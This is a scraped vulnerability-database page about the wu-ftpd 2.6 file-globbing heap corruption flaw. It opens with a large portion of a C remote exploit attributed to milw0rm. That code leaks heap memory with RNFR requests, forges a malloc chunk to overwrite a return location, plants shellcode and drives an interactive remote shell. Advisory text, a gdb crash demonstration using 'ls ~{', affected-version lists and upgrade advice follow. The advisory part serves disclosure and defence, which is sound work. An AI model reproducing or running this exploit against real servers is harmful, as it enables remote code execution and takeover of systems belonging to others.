                ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");
        }

        memset (tmpbuf, '\0', sizeof (tmpbuf));
        for (cw = 0 ; cw < (csize - 0x08 - 0x04) ; ++cw)
                tmpbuf[cw] = leet[cw % 4];

        if (debugmode)
                printf ("| CWD %s\n", tmpbuf);

        net_write (fd, "CWD %s%c\n", tmpbuf, this_size_ls);
        ftp_recv_until (fd, tmpbuf, sizeof (tmpbuf), "550 ");

        /* send a minimum-sized malloc request that will allocate a chunk
         * with 'csize' overall bytes
         */
        xp_gapfill (fd, 1, CHUNK_STRROUNDDOWN (csize));


        return;
}


/* xp_gapfill
 *
 * fill all small memory gaps in wuftpd malloc space. do this by sending
 * rnfr requests which cause a memleak in wuftpd.
 *
 * return in any case
 */

void
xp_gapfill (int fd, int rnfr_num, int rnfr_size)
{
        int             n;
        unsigned char * rb;             /* rnfr buffer */
        unsigned char * rbw;            /* rnfr buffer walker */
        unsigned char   rcv_buf[512];   /* temporary receive buffer */

        if (debugmode)
                printf ("RNFR: %d x 0x%08x (%d)\n",
                        rnfr_num, rnfr_size, rnfr_size);

        rbw = rb = calloc (1, rnfr_size + 6);
        strcpy (rbw, "RNFR ");
        rbw += strlen (rbw);

        /* append a string of "././././". since wuftpd only checks whether
         * the pathname is lstat'able, it will go through without any problems
         */
        for (n = 0 ; n < rnfr_size ; ++n)
                strcat (rbw, ((n % 2) == 0) ? "." : "/");
        strcat (rbw, "\n");

        for (n = 0 ; n < rnfr_num; ++n) {
                net_write (fd, "%s", rb);
                ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 ");
        }
        free (rb);

        return;
}


#define ADDR_STORE(ptr,addr){\
        ((unsigned char *) (ptr))[0] = (addr) & 0xff;\
        ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\
        ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\
        ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\
}


int
xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len)
{
        unsigned char * wl;


        memset (buf, '\0', buf_len);

        memset (buf, '0', CHUNK_POS);
        xp_buildchunk (tgt, buf + CHUNK_POS, buf_len - CHUNK_POS - 1);

        for (wl = buf + strlen (buf) ; wl < &buf[buf_len - 1] ; wl += 2) {
                wl[0] = '\xeb';
                wl[1] = '\x0c';
        }

        memcpy (&buf[buf_len - 1] - shellcode_len, shellcode,
                shellcode_len);


        return (strlen (buf));
}


/* xp_buildchunk
 *
 * build the fake malloc chunk that will overwrite retloc with retaddr
 */

void
xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen)
{
        unsigned long int       retaddr_eff;    /* effective */


        if (user_retaddr)
                retaddr_eff = user_retaddr;
        else
                retaddr_eff = tgt->cbuf + 512 - shellcode_len - 16;

        fprintf (stderr, "\tbuilding chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n",
                tgt->retloc, retaddr_eff, clen);

        /* easy, straight forward technique
         */
        ADDR_STORE (&cspace[0], 0xfffffff0);            /* prev_size */
        ADDR_STORE (&cspace[4], 0xfffffffc);            /* this_size */
        ADDR_STORE (&cspace[8], tgt->retloc - 12);      /* fd */
        ADDR_STORE (&cspace[12], retaddr_eff);          /* bk */

        return;
}



void
shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read user");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("connection closed by foreign host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                perror ("read remote");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


/*** FTP functions
 */

/* FTP is TELNET is SHIT.
 */

void
ftp_escape (unsigned char *buf, unsigned long int buflen)
{
        unsigned char * obuf = buf;


        for ( ; *buf != '\0' ; ++buf) {
                if (*buf == 0xff &&
                        (((buf - obuf) + strlen (buf) + 1) < buflen))
                {
                        memmove (buf + 1, buf, strlen (buf) + 1);
                        buf += 1;
                }
        }
}


void
ftp_recv_until (int sock, char *buff, int len, char *begin)
{
        char    dbuff[2048];


        if (buff == NULL) {
                buff = dbuff;
                len = sizeof (dbuff);
        }

        do {
                memset (buff, '\x00', len);
                if (net_rlinet (sock, buff, len - 1, 20) <= 0)
                        return;
        } while (memcmp (buff, begin, strlen (begin)) != 0);

        return;
}


int
ftp_login (char *host, char *user, char *pass)
{
        int     ftpsock;
        char    resp[512];


        ftpsock = net_connect (NULL, host, 21, 30);
        if (ftpsock <= 0)
                return (0);

        memset (resp, '\x00', sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
                goto flerr;

        /* handle multiline pre-login stuff (rfc violation !)
         */
        if (memcmp (resp, "220-", 4) == 0)
                ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");

        if (memcmp (resp, "220 ", 4) != 0) {
                if (verbose)
                        printf ("\n%s\n", resp);
                goto flerr;
        }
        ftp_banner = strdup (resp);

        net_write (ftpsock, "USER %s\n", user);
        memset (resp, '\x00', sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
                goto flerr;

        if (memcmp (resp, "331 ", 4) != 0) {
                if (verbose)
                        printf ("\n%s\n", resp);
                goto flerr;
        }

        net_write (ftpsock, "PASS %s\n", pass);
        memset (resp, '\x00', sizeof (resp));
        if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
                goto flerr;


        /* handle multiline responses from ftp servers
         */
        if (memcmp (resp, "230-", 4) == 0)
                ftp_recv_until (ftpsock, resp, sizeof (resp), "230 ");

        if (memcmp (resp, "230 ", 4) != 0) {
                if (verbose)
                        printf ("\n%s\n", resp);
                goto flerr;
        }

        return (ftpsock);

flerr:
        if (ftpsock > 0)
                close (ftpsock);

        return (0);
}


/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
        unsigned int    dp, p;  /* data pointer */
        const char      trans[] =
                "................................ !\"#$%&'()*+,-./0123456789"
                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
                "nopqrstuvwxyz{|}~...................................."
                "....................................................."
                "........................................";


        printf ("/* %s, %u bytes */\n", desc, amount);

        for (dp = 1; dp <= amount; dp++) {
                fprintf (stderr, "%02x ", data[dp-1]);
                if ((dp % 8) == 0)
                        fprintf (stderr, " ");
                if ((dp % 16) == 0) {
                        fprintf (stderr, "| ");
                        p = dp;
                        for (dp -= 16; dp < p; dp++)
                                fprintf (stderr, "%c", trans[data[dp]]);
                        fflush (stderr);
                        fprintf (stderr, "\n");
                }
                fflush (stderr);
        }
        if ((amount % 16) != 0) {
                p = dp = 16 - (amount % 16);
                for (dp = p; dp > 0; dp--) {
                        fprintf (stderr, "   ");
                        if (((dp % 8) == 0) && (p != 8))
                                fprintf (stderr, " ");
                        fflush (stderr);
                }
                fprintf (stderr, " | ");
                for (dp = (amount - (16 - p)); dp < amount; dp++)
                        fprintf (stderr, "%c", trans[data[dp]]);
                fflush (stderr);
        }
        fprintf (stderr, "\n");

        return;
}



unsigned long int
net_resolve (char *host)
{
        long            i;
        struct hostent  *he;

        i = inet_addr(host);
        if (i == -1) {
                he = gethostbyname(host);
                if (he == NULL) {
                        return (0);
                } else {
                        return (*(unsigned long *) he->h_addr);
                }
        }
        return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec)
{
        int                     n,
                                len,
                                error,
                                flags;
        int                     fd;
        struct timeval          tv;
        fd_set                  rset, wset;
        struct sockaddr_in      csa;

        if (cs == NULL)
                cs = &csa;

        /* first allocate a socket */
        cs->sin_family = AF_INET;
        cs->sin_port = htons (port);
        fd = socket (cs->sin_family, SOCK_STREAM, 0);
        if (fd == -1)
                return (-1);

        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
                close (fd);
                return (-1);
        }

        flags = fcntl (fd, F_GETFL, 0);
        if (flags == -1) {
                close (fd);
                return (-1);
        }
        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1) {
                close (fd);
                return (-1);
        }

        error = 0;

        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
        if (n < 0) {
                if (errno != EINPROGRESS) {
                        close (fd);
                        return (-1);
                }
        }
        if (n == 0)
                goto done;

        FD_ZERO(&rset);
        FD_ZERO(&wset);
        FD_SET(fd, &rset);
        FD_SET(fd, &wset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        n = select(fd + 1, &rset, &wset, NULL, &tv);
        if (n == 0) {
                close(fd);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1)
                return (-1);

        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                        len = sizeof(error);
                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                                errno = ETIMEDOUT;
                                return (-1);
                        }
                        if (error == 0) {
                                goto done;
                        } else {
                                errno = error;
                                return (-1);
                        }
                }
        } else
                return (-1);

done:
        n = fcntl(fd, F_SETFL, flags);
        if (n == -1)
                return (-1);
        return (fd);
}


void
net_write (int fd, const char *str, ...)
{
        char    tmp[1025];
        va_list vl;
        int     i;

        va_start(vl, str);
        memset(tmp, 0, sizeof(tmp));
        i = vsnprintf(tmp, sizeof(tmp), str, vl);
        va_end(vl);

#ifdef DEBUG
        printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n");
#endif

        send(fd, tmp, i, 0);
        return;
}


int
net_rlinet (int fd, char *buf, int bufsize, int sec)
{
        int                     n;
        unsigned long int       rb = 0;
        struct timeval          tv_start, tv_cur;

        memset(buf, '\0', bufsize);
        (void) gettimeofday(&tv_start, NULL);

        do {
                (void) gettimeofday(&tv_cur, NULL);
                if (sec > 0) {
                        if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
                                ((tv_start.tv_sec * 1000000) +
                                (tv_start.tv_usec))) > (sec * 1000000))
                        {
                                return (-1);
                        }
                }
                n = net_rtimeout(fd, NET_READTIMEOUT);
                if (n <= 0) {
                        return (-1);
                }
                n = read(fd, buf, 1);
                if (n <= 0) {
                        return (n);
                }
                rb++;
                if (*buf == '\n')
                        return (rb);
                buf++;
                if (rb >= bufsize)
                        return (-2);    /* buffer full */
        } while (1);
}


int
net_rtimeout (int fd, int sec)
{
        fd_set          rset;
        struct timeval  tv;
        int             n, error, flags;


        error = 0;
        flags = fcntl(fd, F_GETFL, 0);
        n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1)
                return (-1);

        FD_ZERO(&rset);
        FD_SET(fd, &rset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        /* now we wait until more data is received then the tcp low level
         * watermark, which should be setted to 1 in this case (1 is default)
         */
        n = select(fd + 1, &rset, NULL, NULL, &tv);
        if (n == 0) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1) {
                return (-1);
        }
        /* socket readable ? */
        if (FD_ISSET(fd, &rset)) {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                return (1);
        } else {
                n = fcntl(fd, F_SETFL, flags);
                if (n == -1)
                        return (-1);
                errno = ETIMEDOUT;
                return (-1);
        }
}


static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
        unsigned char *shellcode, char **argv)
{
        int     i;
        size_t  tl_orig = target_len;


        if (strlen (shellcode) >= (target_len - 1))
                return (-1);

        memcpy (target, shellcode, strlen (shellcode));
        target += strlen (shellcode);
        target_len -= strlen (shellcode);

        for (i = 0 ; argv[i] != NULL ; ++i)
                ;

        /* set argument count
         */
        target[0] = (unsigned char) i;
        target++;
        target_len--;

        for ( ; i > 0 ; ) {
                i -= 1;

                if (strlen (argv[i]) >= target_len)
                        return (-1);

                printf ("[%3d/%3d] adding (%2d): %s\n",
                        (tl_orig - target_len), tl_orig,
                        strlen (argv[i]), argv[i]);

                memcpy (target, argv[i], strlen (argv[i]));
                target += strlen (argv[i]);
                target_len -= strlen (argv[i]);

                target[0] = (unsigned char) (i + 1);
                target++;
                target_len -= 1;
        }

        return (tl_orig - target_len);
}

// milw0rm.com [2002-05-14]
		

- 漏洞信息 (21161)

Wu-Ftpd 2.6 File Globbing Heap Corruption Vulnerability (EDBID:21161)
unix remote
2001-11-27 Verified
0 Core Security Technologies
N/A [点击下载]
source: http://www.securityfocus.com/bid/3581/info

Wu-Ftpd is an FTP server based on the BSD 'ftpd' that is maintained by Washington University.

Wu-Ftpd allows clients to organize files for FTP actions based on "file globbing" patterns. File globbing is also used by various shells. The implementation of file globbing included in Wu-Ftpd contains a heap-corruption vulnerability that may allow an attacker to execute arbitrary code on a server remotely.

This vulnerability was initially scheduled for public release on December 3, 2001. However, Red Hat has made details public as of November 27, 2001. As a result, we are forced to warn other users of the vulnerable product so that they may take appropriate actions. 

ftp> open localhost
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready.
Name (localhost:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c		

- 漏洞信息

686
WU-FTPD ftpglob Function Error Handling Arbitrary Code Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial Third-party Verified

- 漏洞描述

WU-FTPD contains a flaw that may allow a remote attacker to execute arbitrary code. The issue is triggered when when the 'ftpglob()' function fails to properly set the 'globerr' variable when the malformed string '~{' is inserted after a valid command by a valid user. This causes the heap to become corrupt and potentially allow a remote attacker to place and point to arbitrary commands on the heap. It is possible that the flaw may allow arbitrary code execution resulting in a loss of integrity.

- 时间线

2001-11-28 2001-11-01
2001-11-28 Unknow

- 解决方案

Upgrade to version 2.6.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Wu-Ftpd File Globbing Heap Corruption Vulnerability
Failure to Handle Exceptional Conditions 3581
Yes No
2001-11-27 12:00:00 2008-04-16 12:29:00
Condition first reported by Matt Power. Exploitability later confirmed by Luciano Notarfrancesco and Juan Pablo Martinez Kuhn from Core Security Technologies, Buenos Aires, Argentina.

- 受影响的程序版本

Washington University wu-ftpd 2.6.1
+ Caldera OpenLinux 2.3
+ Caldera OpenLinux Server 3.1
+ Cobalt Qube 1.0
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
- FreeBSD FreeBSD 5.0 alpha
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3 -STABLE
- FreeBSD FreeBSD 4.3 -RELEASE
- FreeBSD FreeBSD 4.3
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ Mandriva Linux Mandrake 7.0
+ Mandriva Linux Mandrake 6.1
+ Mandriva Linux Mandrake 6.0
+ RedHat Linux 7.2 noarch
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i686
+ RedHat Linux 7.2 i586
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.2 athlon
+ RedHat Linux 7.2 alpha
+ RedHat Linux 7.1 noarch
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i686
+ RedHat Linux 7.1 i586
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1 alpha
+ RedHat Linux 7.0 sparc
+ RedHat Linux 7.0 i386
+ RedHat Linux 7.0 alpha
- S.u.S.E. Linux 7.3
- S.u.S.E. Linux 7.2
- S.u.S.E. Linux 7.1 x86
- S.u.S.E. Linux 7.1 sparc
- S.u.S.E. Linux 7.1 ppc
- S.u.S.E. Linux 7.1 alpha
- S.u.S.E. Linux 7.1
- S.u.S.E. Linux 7.0 sparc
- S.u.S.E. Linux 7.0 ppc
- S.u.S.E. Linux 7.0 alpha
- S.u.S.E. Linux 7.0
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
+ SCO Open Server 5.0.6 a
+ SCO Open Server 5.0.6
+ SCO Open Server 5.0.5
+ SCO Open Server 5.0.4
+ SCO Open Server 5.0.3
+ SCO Open Server 5.0.2
+ SCO Open Server 5.0.1
+ SCO Open Server 5.0
- Slackware Linux 8.0
- Slackware Linux 7.1
- Slackware Linux 7.0
+ Turbolinux Turbolinux 6.0.5
+ Turbolinux Turbolinux 6.0.4
+ Turbolinux Turbolinux 6.0.3
+ Turbolinux Turbolinux 6.0.2
+ Turbolinux Turbolinux 6.0.1
+ Turbolinux Turbolinux 6.0
+ Turbolinux Turbolinux Workstation 6.1
+ Wirex Immunix OS 7.0 -Beta
+ Wirex Immunix OS 7.0
+ Wirex Immunix OS 7+
Washington University wu-ftpd 2.6 .0
+ Cobalt Qube 1.0
+ Conectiva Linux 5.1
+ Conectiva Linux 5.0
+ Conectiva Linux 4.2
+ Conectiva Linux 4.1
+ Conectiva Linux 4.0 es
+ Conectiva Linux 4.0
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3 -STABLE
- FreeBSD FreeBSD 4.3 -RELEASE
- FreeBSD FreeBSD 4.3
+ HP HP-UX 11.11
+ HP HP-UX 11.0
+ RedHat Linux 6.2 sparc
+ RedHat Linux 6.2 i386
+ RedHat Linux 6.2 alpha
+ RedHat Linux 6.1 sparc
+ RedHat Linux 6.1 i386
+ RedHat Linux 6.1 alpha
+ RedHat Linux 6.0 sparc
+ RedHat Linux 6.0 alpha
+ RedHat Linux 6.0
+ RedHat Linux 5.2 sparc
+ RedHat Linux 5.2 i386
+ RedHat Linux 5.2 alpha
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.2 i386
+ S.u.S.E. Linux 7.1 x86
+ S.u.S.E. Linux 7.1 sparc
+ S.u.S.E. Linux 7.1 ppc
+ S.u.S.E. Linux 7.1 alpha
+ S.u.S.E. Linux 7.0 sparc
+ S.u.S.E. Linux 7.0 ppc
+ S.u.S.E. Linux 7.0 i386
+ S.u.S.E. Linux 7.0 alpha
+ S.u.S.E. Linux 6.4 ppc
+ S.u.S.E. Linux 6.4 alpha
+ S.u.S.E. Linux 6.4
+ S.u.S.E. Linux 6.3 ppc
+ S.u.S.E. Linux 6.3 alpha
+ S.u.S.E. Linux 6.3
+ S.u.S.E. Linux 6.2
+ S.u.S.E. Linux 6.1 alpha
+ S.u.S.E. Linux 6.1
+ Turbolinux Turbolinux 4.0
+ Wirex Immunix OS 6.2
Washington University wu-ftpd 2.5 .0
+ Caldera OpenLinux 2.4
+ Caldera OpenLinux Desktop 2.3
+ RedHat Linux 6.0 sparc
+ RedHat Linux 6.0 alpha
+ RedHat Linux 6.0
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
+ SCO eServer 2.3
David Madore ftpd-BSD 0.3.3
David Madore ftpd-BSD 0.3.2
Washington University wu-ftpd 2.6.2
+ Compaq Tru64 5.1 b PK2 (BL22)
+ Compaq Tru64 5.1 b PK1 (BL1)
+ Compaq Tru64 5.1 b
+ Compaq Tru64 5.1 a PK5 (BL23)
+ Compaq Tru64 5.1 a PK4 (BL21)
+ Compaq Tru64 5.1 a PK3 (BL3)
+ Compaq Tru64 5.1 a PK2 (BL2)
+ Compaq Tru64 5.1 a PK1 (BL1)
+ Compaq Tru64 5.1 a
+ Compaq Tru64 5.1 PK6 (BL20)
+ Compaq Tru64 5.1 PK5 (BL19)
+ Compaq Tru64 5.1 PK4 (BL18)
+ Compaq Tru64 5.1 PK3 (BL17)
+ Compaq Tru64 5.1
+ Compaq Tru64 5.0 f
+ Compaq Tru64 5.0 a PK3 (BL17)
+ Compaq Tru64 5.0 a
+ Compaq Tru64 5.0 PK4 (BL18)
+ Compaq Tru64 5.0 PK4 (BL17)
+ Compaq Tru64 5.0
+ Compaq Tru64 4.0 g PK3 (BL17)
+ Compaq Tru64 4.0 g
+ Compaq Tru64 4.0 f PK7 (BL18)
+ Compaq Tru64 4.0 f PK6 (BL17)
+ Compaq Tru64 4.0 f
+ Compaq Tru64 4.0 e
+ Compaq Tru64 4.0 d PK9 (BL17)
+ Compaq Tru64 4.0 d
+ Compaq Tru64 4.0 b
+ Conectiva Linux 9.0
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ SCO Open Server 5.0.7
+ SCO Open Server 5.0.6 a
+ SCO Open Server 5.0.6
+ Sun Linux 5.0.7
+ Turbolinux Turbolinux Advanced Server 6.0
+ Turbolinux Turbolinux Server 6.1
+ Turbolinux Turbolinux Workstation 6.0
SGI IRIX 6.5

- 不受影响的程序版本

Washington University wu-ftpd 2.6.2
+ Compaq Tru64 5.1 b PK2 (BL22)
+ Compaq Tru64 5.1 b PK1 (BL1)
+ Compaq Tru64 5.1 b
+ Compaq Tru64 5.1 a PK5 (BL23)
+ Compaq Tru64 5.1 a PK4 (BL21)
+ Compaq Tru64 5.1 a PK3 (BL3)
+ Compaq Tru64 5.1 a PK2 (BL2)
+ Compaq Tru64 5.1 a PK1 (BL1)
+ Compaq Tru64 5.1 a
+ Compaq Tru64 5.1 PK6 (BL20)
+ Compaq Tru64 5.1 PK5 (BL19)
+ Compaq Tru64 5.1 PK4 (BL18)
+ Compaq Tru64 5.1 PK3 (BL17)
+ Compaq Tru64 5.1
+ Compaq Tru64 5.0 f
+ Compaq Tru64 5.0 a PK3 (BL17)
+ Compaq Tru64 5.0 a
+ Compaq Tru64 5.0 PK4 (BL18)
+ Compaq Tru64 5.0 PK4 (BL17)
+ Compaq Tru64 5.0
+ Compaq Tru64 4.0 g PK3 (BL17)
+ Compaq Tru64 4.0 g
+ Compaq Tru64 4.0 f PK7 (BL18)
+ Compaq Tru64 4.0 f PK6 (BL17)
+ Compaq Tru64 4.0 f
+ Compaq Tru64 4.0 e
+ Compaq Tru64 4.0 d PK9 (BL17)
+ Compaq Tru64 4.0 d
+ Compaq Tru64 4.0 b
+ Conectiva Linux 9.0
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ SCO Open Server 5.0.7
+ SCO Open Server 5.0.6 a
+ SCO Open Server 5.0.6
+ Sun Linux 5.0.7
+ Turbolinux Turbolinux Advanced Server 6.0
+ Turbolinux Turbolinux Server 6.1
+ Turbolinux Turbolinux Workstation 6.0
SGI IRIX 6.5

- 漏洞讨论

Wu-Ftpd is an FTP server based on the BSD 'ftpd' that is maintained by Washington University.

Wu-Ftpd allows clients to organize files for FTP actions based on "file globbing" patterns. File globbing is also used by various shells. The implementation of file globbing included in Wu-Ftpd contains a heap-corruption vulnerability that may allow an attacker to execute arbitrary code on a server remotely.

This vulnerability was initially scheduled for public release on December 3, 2001. However, Red Hat has made details public as of November 27, 2001. As a result, we are forced to warn other users of the vulnerable product so that they may take appropriate actions.

- 漏洞利用

As of February 5, 2002, reports from credible sources indicate the availability and use of a working exploit for this vulnerability. This increases the likelihood of exploitation by a malicious party.

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following (from the CORE advisory) demonstrates the existence of this vulnerability:

ftp&gt; open localhost
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready.
Name (localhost:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; ls ~{
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c

An exploit is available for members of the Immunity Partners Program:
https://www.immunityinc.com/downloads/immp%20%20%20%20artners/wuglob.tgz

- 解决方案

Fixes are available. Please see the references for more information.


Washington University wu-ftpd 2.6 .0

Washington University wu-ftpd 2.6.1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站